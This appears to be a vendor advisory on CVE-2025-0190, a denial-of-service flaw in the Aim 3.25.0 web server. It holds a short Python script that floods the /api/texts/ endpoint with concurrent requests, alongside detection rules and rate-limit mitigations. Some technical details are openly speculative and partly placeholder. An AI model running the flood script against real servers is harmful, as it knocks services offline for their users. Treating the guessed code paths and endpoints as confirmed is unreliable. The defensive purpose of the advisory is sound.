CVE-2025-0190
Executive Summary
CVE-2025-0190 is a high-severity (CVSS 7.5) denial of service vulnerability affecting Aimhubio Aim version 3.25.0. The vulnerability allows an unauthenticated attacker to render the Aim web server unresponsive by tracking a large number of Text objects and querying them simultaneously through the web API. This can be exploited repeatedly, leading to a complete denial of service. No patch is currently available, and no public proof-of-concept code has been identified.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package aim (PyPI). Users of this package should monitor for updates and consider implementing rate limiting or resource quotas as a temporary mitigation.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
The vulnerability is easily exploitable remotely without authentication, making it a significant threat to availability.
Deep Dive & Mechanics
The vulnerability resides in the Aim web server's handling of Text objects. When a large number of Text objects are tracked and then queried simultaneously, the server becomes overwhelmed processing and returning these objects. This is due to inefficient resource management or lack of proper rate limiting in the API endpoint responsible for querying Text objects. The server's thread pool or event loop becomes saturated, preventing it from handling other legitimate requests.
The attack flow:
- Attacker tracks a large number of
Textobjects (e.g., via the Aim SDK). - Attacker sends multiple simultaneous queries to the web API endpoint that retrieves these objects.
- The server exhausts its resources (CPU, memory, or connection pool) processing the queries.
- The server becomes unresponsive to all other requests, causing a denial of service.
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks:
- Rate limiting on the query endpoint.
- Pagination or streaming for large result sets.
- Resource limits on the number of objects that can be queried at once.
A hypothetical fix would involve:
- Implementing request throttling.
- Adding pagination to the API response.
- Setting a maximum limit on the number of objects returned per query.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Aim server version 3.25.0 running and accessible.
- Python environment with
aimSDK installed.
Exploitation Steps:
Track a large number of Text objects:
import aim session = aim.Session() for i in range(10000): session.track(aim.Text(f"text_{i}"), name="texts")Simultaneously query the objects:
import requests from concurrent.futures import ThreadPoolExecutor def query(): response = requests.get("http://target-server:43800/api/texts/") return response with ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(query) for _ in range(100)] for f in futures: f.result()Observe denial of service: The server becomes unresponsive to other requests (e.g.,
curl http://target-server:43800/).
Blue Team
Detection and Mitigation:
- Monitor for a high volume of requests to
/api/texts/endpoint. - Implement rate limiting using a reverse proxy (e.g., Nginx, HAProxy).
- Set resource limits on the Aim process (e.g., using
ulimitor container resource constraints). - Use a Web Application Firewall (WAF) to block suspicious traffic patterns.
Lab Setup for Testing:
- Deploy Aim 3.25.0 in a Docker container.
- Use
locustorwrkto simulate the attack. - Monitor server metrics (CPU, memory, connections) to confirm the DoS.
Indicators of Compromise (IOCs)
- Network: High volume of HTTP requests to
/api/texts/endpoint from a single or multiple IPs. - System: Aim process consuming 100% CPU or high memory.
- Logs: Repeated
GET /api/texts/requests with large response sizes. - File: No specific file-based IOCs.
Detection Engineering
YARA Rule
rule CVE_2025_0190_Aim_DoS {
meta:
description = "Detects Aim server logs indicating DoS via Text objects"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-0190"
strings:
$log1 = "GET /api/texts/" nocase
$log2 = "500 Internal Server Error" nocase
$log3 = "timeout" nocase
condition:
any of ($log1) and (any of ($log2) or any of ($log3))
}
Sigma Rule
title: CVE-2025-0190 Aim DoS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects high volume of requests to Aim /api/texts/ endpoint
author: Valters IT
date: 2025-01-01
logsource:
category: webserver
product: aim
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/api/texts/'
condition: selection | count() > 100 in 60 seconds
falsepositives:
- Legitimate bulk queries
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0190 Aim DoS Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/texts/"; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigations:
- Rate Limiting: Configure a reverse proxy (e.g., Nginx) to limit requests to
/api/texts/per IP.limit_req_zone $binary_remote_addr zone=aim_api:10m rate=10r/s; server { location /api/texts/ { limit_req zone=aim_api burst=20 nodelay; proxy_pass http://aim_backend; } } - Resource Limits: Use
systemdor Docker to limit Aim's CPU and memory. - Monitoring: Set up alerts for high request rates to the vulnerable endpoint.
Long-term Fix:
- Apply the official patch when released by Aimhubio.
- Upgrade to a patched version once available.
Workaround:
- Disable the
/api/texts/endpoint if not needed, or restrict access to trusted IPs only.
Valters IT